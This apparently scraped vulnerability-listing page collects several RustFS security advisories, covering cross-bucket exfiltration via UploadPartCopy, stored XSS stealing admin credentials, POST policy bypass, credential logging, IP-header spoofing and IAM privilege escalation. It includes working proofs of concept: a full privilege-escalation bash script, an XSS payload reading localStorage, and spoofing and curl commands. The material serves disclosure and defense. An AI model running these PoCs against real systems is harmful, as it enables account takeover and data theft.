Commit: 09ea11c13 (per git blame on rustfs/src/storage/access.rs:1443-1448)

Affected range (recommended wording):

All versions from commit 09ea11c13 through c1d5106acc3480c275a52344df84633bb6dcd8f0 (and likely any releases containing those commits) until a fix is applied.

Package version (Cargo metadata)

rustfs crate version in this tree: 0.0.5 (cargo metadata)

Proof of Concept (PoC) – Real Commands + Verified Results

Files

Place the PoC script at the repository root:

PoC script: poc_uploadpartcopy_exfil_v3.sh

Captured output: poc_v3_output.txt

(Optional) Redacted debug log: upload_part_copy_debug_redacted.log (Authorization/signature redacted)

Environment

RustFS running locally (Docker is simplest), listening on:

http://127.0.0.1:9000

Tools:

awscli, jq, awscurl

Steps to Reproduce

Start RustFS (example):

docker compose -f docker-compose-simple.yml up -d

Run the PoC and save output:

chmod +x poc_uploadpartcopy_exfil_v3.sh ./poc_uploadpartcopy_exfil_v3.sh | tee poc_v3_output.txt

Attachments

poc_uploadpartcopy_exfil_v3.sh

poc_v3_output.txt

Expected Behavior

Attacker operations against victim bucket should be denied:

ListObjects -> AccessDenied

HeadObject -> AccessDenied

GetObject -> AccessDenied

CopyObject -> AccessDenied

UploadPartCopy from victim -> attacker multipart should also be denied.

Actual Behavior

All direct operations against victim are denied (as expected),

but UploadPartCopy succeeds, and attacker retrieves the copied object from attacker bucket.

Observed PoC Output

Victim uploads a private object:

size: 5,242,880 bytes

sha256: fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f

Attacker exfiltrates it via multipart copy:

stolen size: 5,242,880 bytes

stolen sha256: fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f

Proof:

hashes and sizes match (victim == stolen) -> unauthorized cross-bucket read confirmed.

Network Evidence (Redacted)

The debug log shows a successful request with:

HTTP method: PUT

destination: /<attacker-bucket>/<dst-key>?partNumber=1&uploadId=...

header: x-amz-copy-source: <victim-bucket>/private/finance_dump.bin

response: HTTP/1.1 200 with <CopyPartResult><ETag>...</ETag>...</CopyPartResult>

Fix

Implement authorization checks equivalent to copy_object() for multipart copy paths:

upload_part_copy:

enforce source GetObject authorization on x-amz-copy-source

enforce destination PutObject authorization on the target object

(recommended) apply the same tag-condition enforcement used by copy_object() on the source.

complete_multipart_upload:

enforce destination PutObject authorization

abort_multipart_upload:

enforce appropriate multipart permission (or destination PutObject as a safe boundary)

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-mx42-j6wv-px98
https://nvd.nist.gov/vuln/detail/CVE-2026-39360
https://github.com/rustfs/rustfs

Updated Apr 10, 2026 · Source: OSV.dev
CVE-2026-27822 GHSA-v9fg-3cr2-277j Feb 25, 2026

Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover

9.0 / 10
Critical
Network Low Low Required Changed High High High

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the RustFS Console allows an attacker to execute arbitrary JavaScript in the context of the management console. By bypassing the PDF preview logic, an attacker can steal administrator credentials from localStorage, leading to full account takeover and system compromise.

Details

The vulnerability exists due to improper validation of the response content type during the file preview process and a lack of origin separation between the S3 object delivery and the management console.

Origin of Credentials: The RustFS Console stores highly sensitive S3 credentials (AccessKey, SecretKey, SessionToken) in the browser's localStorage.

File: console/composables/useAuth.ts

Evidence: Lines 14 and 18-25 show that credentials are held in useLocalStorage('auth.credentials', {}) and useLocalStorage('auth.permanent', undefined).

Insecure Preview Implementation: In console/components/object/preview-modal.vue, the application identifies a PDF file based on its extension or metadata and renders it using an <iframe>.

Same-Origin Vulnerability: RustFS typically hosts the management console and the S3 API on the same origin (e.g., the same IP and port).

Bypass Attack: An attacker can upload a file named xss.pdf but set its Content-Type metadata to text/html. Because the iframe is hosted on the same origin as the console, the executed script has unrestricted access to the parent window's localStorage.

PoC

This PoC demonstrates how to steal a victim's administrative credentials by tricking them into previewing a malicious file.

1. Create the malicious payload (xss.html):

<script> alert('XSS Success!\nLocalStorage Data: ' + JSON.stringify(window.parent.localStorage)); </script>

2. Setup the environment and upload the payload:

# 1. Create a target bucket mc mb rustfs/my-bucket # 2. Upload the HTML file as a PDF with HTML content type mc cp xss.html rustfs/my-bucket/xss.pdf --attr "Content-Type=text/html"

3. Trigger the vulnerability:

Login to the RustFS Console as an administrator.

Navigate to my-bucket.

Click the "Preview" button for the xss.pdf file.

The JavaScript executes, demonstrating access to the administrative session data.

Impact

Character: Stored Cross-Site Scripting (XSS).

Target: System Administrators using the Console.

Result: Full Account Takeover (ATO). An attacker gains the victim's AccessKeyId, SecretAccessKey, and SessionToken. This allows the attacker to perform any administrative action, including deleting data, creating backdoors, or downloading the entire filesystem via the S3 API.

Proposed Mitigation

Origin Separation: Implement a dedicated domain for data delivery (e.g., *.data.rustfs.io) that is different from the console domain. This leverages the Same-Origin Policy (SOP) to isolate user-uploaded content.

Security Headers: Implement strict security headers in the backend:

Content-Security-Policy (CSP): Disallow inline scripts and restrict script execution.

X-Content-Type-Options: nosniff: Prevent browsers from sniffing and executing content that differs from the declared type.

Fixed in

1.0.0-alpha.83

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-v9fg-3cr2-277j
https://nvd.nist.gov/vuln/detail/CVE-2026-27822
https://github.com/rustfs/rustfs
https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83

Updated Feb 25, 2026 · Source: OSV.dev
CVE-2026-27607 GHSA-w5fh-f8xh-5x3p Feb 25, 2026

RustFS: Missing Post Policy Validation leads to Arbitrary Object Write

8.1 / 10
High
Network Low Low None Unchanged None High High

Summary

RustFS does not validate policy conditions in presigned POST uploads (PostObject), allowing attackers to bypass content-length-range, starts-with, and Content-Type constraints. This enables unauthorized file uploads exceeding size limits, uploads to arbitrary object keys, and content-type spoofing, potentially leading to storage exhaustion, unauthorized data access, and security bypasses.

Details

When generating presigned POST URLs via the AWS SDK, applications can specify policy conditions to restrict uploads. RustFS accepts these presigned requests but fails to validate the following conditions server-side:

content-length-range not enforced: The server does not verify that the uploaded file size falls within the specified minimum and maximum bounds. An attacker can upload arbitrarily large files despite restrictions.

starts-with not enforced: The server does not validate that the object key matches the required prefix. An attacker can modify the key field to upload files to any path in the bucket.

Content-Type (exact match) not enforced: The server does not verify that the uploaded file's content type matches the policy constraint. An attacker can upload files with any content type.

The vulnerability exists in the PostObject endpoint implementation, where the signed policy conditions are not parsed and validated against the actual upload request.

Impact

Vulnerability Type: Improper Input Validation / Authorization Bypass

Who is affected:

Any application using RustFS as an S3-compatible backend that relies on presigned POST policy conditions for access control or upload restrictions.

Potential attack scenarios:

Storage Exhaustion / Denial of Service: Attackers can upload arbitrarily large files, bypassing size limits, potentially filling up disk space and causing service outages.

Unauthorized Data Access/Modification: By bypassing starts-with conditions, attackers can upload files to restricted paths (e.g., overwriting configuration files, accessing other users' directories in multi-tenant systems).

Content-Type Spoofing: Bypassing content-type restrictions could enable serving malicious content (e.g., HTML/JavaScript files in contexts expecting only images), potentially leading to XSS attacks if files are served to browsers.

Severity: The vulnerability allows complete bypass of server-enforced upload policies, undermining the security model that applications rely upon.

Fixed in

1.0.0-alpha.83

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-w5fh-f8xh-5x3p
https://nvd.nist.gov/vuln/detail/CVE-2026-27607
https://github.com/rustfs/rustfs
https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83

Updated Feb 25, 2026 · Source: OSV.dev
CVE-2026-24762 GHSA-r54g-49rx-98cr Feb 03, 2026

RustFS Logs Sensitive Credentials in Plaintext

Medium
Network Low None None

Summary

RustFS logs sensitive credential material (access key, secret key, session token) to application logs at INFO level. This results in credentials being recorded in plaintext in log output, which may be accessible to internal or external log consumers and could lead to compromise of sensitive credentials. This vulnerability is classified as an information disclosure issue (CWE-532).

Details

The server writes newly generated STS credential information including the access key, secret key, and session token to logs. The following excerpts from application logs demonstrate this:

[2026-01-17 09:13:23.127767 +11:00] INFO [rustfs::admin::handlers::sts] [rustfs/src/admin/handlers/sts.rs:138] [rustfs-worker:ThreadId(4)] AssumeRole get new_cred Credentials { access_key: "5UGH6TM44IPA81AH1WZE", secret_key: "3BQ-KnO_iB5ovmd5SU4wIK6sFfaPTliftvQ_iNLS", session_token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3Njg2NDQ4MDMsInBhcmVudCI6InJ1c3Rmc2FkbWluIn0.F9ZhARXyU0cB6QoFMElKK5tns_RFQM9WlpMiGVuuDOpOfNrbEKE_9IK1oaJ_yqDsBlK115uYOcQcGohjgUPhOQ", expiration: Some(2026-01-17 10:13:23.0 +00:00:00), status: "on", parent_user: "rustfsadmin", groups: None, claims: None, name: None, description: None }

By inspecting logs, an attacker or unauthorized internal user with access to logs could retrieve these credentials and use them to authenticate to RustFS services or perform other unauthorized actions.

Impact

Information Exposure: Plaintext authentication credentials appear in log files that may be retained, backed up, or forwarded to centralized logging systems.

Credential Compromise: Access keys, secret keys, and session tokens may be used by unauthorized individuals to authenticate to RustFS services or hijack sessions.

Insider Threat: Even users with limited access who can read logs may gain elevated access if they retrieve credential material.

Compliance Risk: Logging sensitive authentication material may violate organizational policies and industry compliance standards (e.g., PCI-DSS, SOC2, ISO 27001) that forbid exposure of authentication secrets in logs

Remediation

Do not include secrets in log output — redact secret_key, session_token, and similar fields.

Log only safe identifiers such as non-sensitive IDs (e.g., parent_user, trace ID).

Fixed in

1.0.0-alpha.82

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-r54g-49rx-98cr
https://nvd.nist.gov/vuln/detail/CVE-2026-24762
https://github.com/rustfs/rustfs

Updated Feb 22, 2026 · Source: OSV.dev
CVE-2026-21862 GHSA-fc6g-2gcp-2qrq Feb 03, 2026

RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers

High
Network Low None None

Summary

IP-based access control can be bypassed: get_condition_values trusts client-supplied X-Forwarded-For/X-Real-Ip without verifying a trusted proxy, so any reachable client can spoof aws:SourceIp and satisfy IP-allowlist policies.

Details

Vulnerable code: rustfs/src/auth.rs:289-304 sets remote_addr from X-Forwarded-For/X-Real-Ip, then inserts SourceIp via get_source_ip_raw, with no trust boundary or proxy validation:

let remote_addr = header.get("x-forwarded-for").and_then(...).or_else(|| header.get("x-real-ip")...).unwrap_or("127.0.0.1");

args.insert("SourceIp", vec![get_source_ip_raw(header, remote_addr)]);

This value feeds IAM/bucket policy evaluation in rustfs/src/storage/access.rs (authorization path), so any request that forges the header can meet aws:SourceIp conditions.

No authentication is required beyond the request itself; the header is taken at face value even on direct connections.

PoC

rustfs-auth-trusted-ip-header-spoofing-poc.tar.gz

Steps (already included in rustfs-auth-trusted-ip-header-spoofing-poc/):

Start RustFS with two local volumes, e.g.:

mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2 RUSTFS_ACCESS_KEY=devadmin RUSTFS_SECRET_KEY=devadmin \ cargo run --bin rustfs -- --address 0.0.0.0:9000 \ /tmp/rustfs-data1 /tmp/rustfs-data2

From rustfs-auth-trusted-ip-header-spoofing-poc/, run:

ENDPOINT=http://127.0.0.1:9000 make run

The script: - Creates bucket `rustfs-trusted-ip-poc`. - Applies a bucket policy allowing `s3:ListBucket` only from `10.0.0.5/32` (`Principal: {"AWS":["*"]},` Resource array). - Sends three unauthenticated `ListBucket` calls: - Baseline (no spoof) → HTTP 403. - Spoofed `X-Forwarded-For: 10.0.0.5` → HTTP 200 (policy bypass). - Spoofed `X-Forwarded-For: 1.2.3.4` → HTTP 403. - Responses saved to `poc-baseline.xml`, `poc-spoofed.xml`, `poc-deny.xml`.

Impact

Vulnerability type: Authorization bypass of IP-allowlist (aws:SourceIp) via header spoofing.

Who is impacted: Any deployment relying on aws:SourceIp in IAM/bucket policies for S3 operations. Attackers with network reach to RustFS can forge forwarded-IP headers to gain list/read/write where IP restrictions were meant to block them.

Credits

Identified by SecMate (https://secmate.dev) automated analysis and validated during manual triage.

Fixed in

1.0.0-alpha.78

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-fc6g-2gcp-2qrq
https://nvd.nist.gov/vuln/detail/CVE-2026-21862
https://github.com/rustfs/rustfs/commit/b4ba62fa3300b5b258fdc0da141481e3be7ea960
https://github.com/rustfs/rustfs

Updated Feb 03, 2026 · Source: OSV.dev
CVE-2026-22782 GHSA-333v-68xh-8mmq Jan 16, 2026

RustFS's RPC signature verification logs shared secret

Low
Network Low None None

Summary

Invalid RPC signatures cause the server to log the shared HMAC secret (and expected signature), which exposes the secret to log readers and enables forged RPC calls.

Details

In crates/ecstore/src/rpc/http_auth.rs:115-122 , the invalid signature branch logs sensitive data:

if signature != expected_signature { error!( "verify_rpc_signature: Invalid signature: secret {}, url {}, method {}, timestamp {}, signature {}, expected_signature {}", secret, url, method, timestamp, signature, expected_signature ); return Err(std::io::Error::other("Invalid signature")); }

This log line includes secret and expected_signature, both derived from the shared HMAC key. Any invalidly signed request triggers this path. The function is reachable from RPC and admin request handlers.

PoC

Run RustFS with error logging enabled.

Send a request with an invalid signature:
ts=$(date +%s) curl -v \ -H "x-rustfs-timestamp: $ts" \ -H "x-rustfs-signature: invalid-signature" \ "http://localhost:9000/rustfs/rpc/read_file_stream?disk=foo&volume=bar&path=baz&offset=0&length=1"

Observed output:
HTTP 403 AccessDenied: Invalid signature verify_rpc_signature: Invalid signature: secret rustfsadmin, url /rustfs/rpc/read_file_stream?disk=foo&volume=bar&path=baz&offset=0&length=1, method GET, timestamp 1767852115, signature invalid-signature, expected_signature oisNxNRTb80GXf97s/PGdScJzu8QB9Oxs+uOwf8RiK8=

Impact

Exposes the shared RPC HMAC secret to log readers.

Enables attackers with log access to forge valid RPC signatures and make unauthorized RPC calls.

Fixed in

1.0.0-alpha.80

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-333v-68xh-8mmq
https://nvd.nist.gov/vuln/detail/CVE-2026-22782
https://github.com/rustfs/rustfs/commit/6b2eebee1d07399ef02c0863bd515b4412a5a560
https://github.com/rustfs/rustfs
https://github.com/rustfs/rustfs/blob/9e162b6e9ebb874cc1d06a7b33bc4a05786578aa/crates/ecstore/src/rpc/http_auth.rs#L115-L122

Updated Feb 03, 2026 · Source: OSV.dev

CVE-2026-22043 GHSA-xgr5-qc6w-vcg9 Jan 08, 2026

RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting

Medium

Network Low Low None

Summary

A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

Details

akin to MinIO CVE-2025-62506

Policy evaluation: Policy::is_allowed returns true when deny_only=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74).
Service account creation path sets deny_only=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127).
Service accounts are created without session_policy by default, so claims lack SESSION_POLICY_NAME; combined with deny_only, self-operations are allowed without Allow statements.
Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

crates/policy/src/policy/policy.rs (deny_only short-circuit)
rustfs/src/admin/handlers/service_account.rs: (deny_only set for self/parent target)
crates/iam/src/sys.rs (service account creation defaults, no session_policy)

PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:

#!/usr/bin/env bash
set -euo pipefail

# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"

# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"

# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost

# ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}

awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}

timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}

# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done

echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done

# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done

echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestamp_iso)"

echo "[+] create restricted policy"
RESTRICTED_POLICY='{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:ListBucket"],
      "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
    },
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
    }
  ]
}'

echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
  > /tmp/restricted_sa.json
cat /tmp/restricted_sa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls

echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
  > /tmp/child_sa.json
cat /tmp/child_sa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
  echo "child list bucket3: SUCCESS (vuln)"
else
  echo "child list bucket3: DENIED"
fi

echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
  echo "child read marker: SUCCESS (vuln). Content:"
  cat /tmp/poc-marker.txt
else
  echo "child read marker: DENIED"
fi

echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
  echo "child write: SUCCESS (vuln)"
else
  echo "child write: DENIED"
fi

PoC steps (in poc.sh):

Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt.
Create restricted policy (List/Get/Put only on bucket1/2).
Create restricted service account restricted/restricted123 with that policy.
With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit).
With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17         11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)

Impact

Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.

Fixed in


          1.0.0-alpha.79

References

Updated Feb 03, 2026 · Source: OSV.dev

CVE-2026-22042 GHSA-vcwh-pff9-64cc Jan 08, 2026

RustFS has IAM Incorrect Authorization in ImportIam that Allows Privilege Escalation

Medium
Network Low Low None

Summary

The ImportIam admin API validates permissions using ExportIAMAction instead of ImportIAMAction, allowing a principal with export-only IAM permissions to perform import operations. Since importing IAM data performs privileged write actions (creating/updating users, groups, policies, and service accounts), this can lead to unauthorized IAM modification and privilege escalation.

Details

In ImportIam, the authorization check is implemented as follows:

validate_admin_request( &req.headers, &cred, owner, false, vec![Action::AdminAction(AdminAction::ExportIAMAction)], ).await?;

However, this code resides in the Import IAM operation (struct ImportIam {}), which performs state-changing IAM writes.

The expected behavior is to validate against AdminAction::ImportIAMAction (or an equivalent import-specific admin action), not ExportIAMAction.

PoC

Prerequisites

A RustFS deployment with IAM enabled.

An IAM user or role that has Export IAM permission but does not have Import IAM or full admin permissions.

Access credentials for that user.

Steps

Create or obtain an IAM principal with permission equivalent to:

AdminAction::ExportIAMAction

and without Import IAM privileges.

Prepare a valid IAM import ZIP archive containing, for example:

A new policy granting administrative permissions

A user or service account bound to that policy

Send a request to the Import IAM endpoint (the same endpoint handled by ImportIam::call), authenticating with the export-only credentials.

Observe that:

The request passes authorization.

IAM entities from the archive are created or modified successfully.

Expected Result

The request should be rejected with an authorization error (e.g., AccessDenied).

Actual Result

The request succeeds, and IAM state is modified.

Fixed in

1.0.0-alpha.79

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-vcwh-pff9-64cc
https://nvd.nist.gov/vuln/detail/CVE-2026-22042
https://github.com/rustfs/rustfs

Updated Feb 03, 2026 · Source: OSV.dev

1–10 of 13

Insights

Releases per month

last 12 months

Release mix

major 1
patch 1
unknown 2

4 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More